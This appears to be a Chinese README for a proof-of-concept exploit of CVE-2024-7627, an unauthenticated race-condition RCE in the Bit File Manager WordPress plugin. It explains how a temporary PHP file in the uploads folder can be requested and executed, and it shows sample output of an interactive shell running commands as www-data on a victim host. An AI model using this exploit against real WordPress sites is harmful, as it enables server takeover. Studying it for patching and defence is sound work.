
该仓库包含针对 CVE-2024-7627 的概念验证(PoC)漏洞利用代码,这是 Bit File Manager WordPress 插件(6.0 – 6.5.5 版本)中的一个严重 未认证远程代码执行(RCE) 漏洞。
当启用了 访客用户读取(Guest User Read) 功能时,该插件会在 checkSyntax 函数中暴露一个竞态条件。
此函数在验证之前将一个临时 PHP 文件写入 /wp-content/uploads/,从而使攻击者可以请求该文件并执行任意系统命令。
requests、aiohttp、asyncio、beautifulsoup4安装依赖:
pip install requests aiohttp beautifulsoup4
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: 65a1d91c63
[*] Getting a random file hash...
[+] Starting interactive shell. Type 'exit' to quit.
lab-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
lab-shell> uname -a
Linux victim-wp 5.15.0-78-generic #85-Ubuntu SMP x86_64 GNU/Linux
lab-shell> whoami
www-data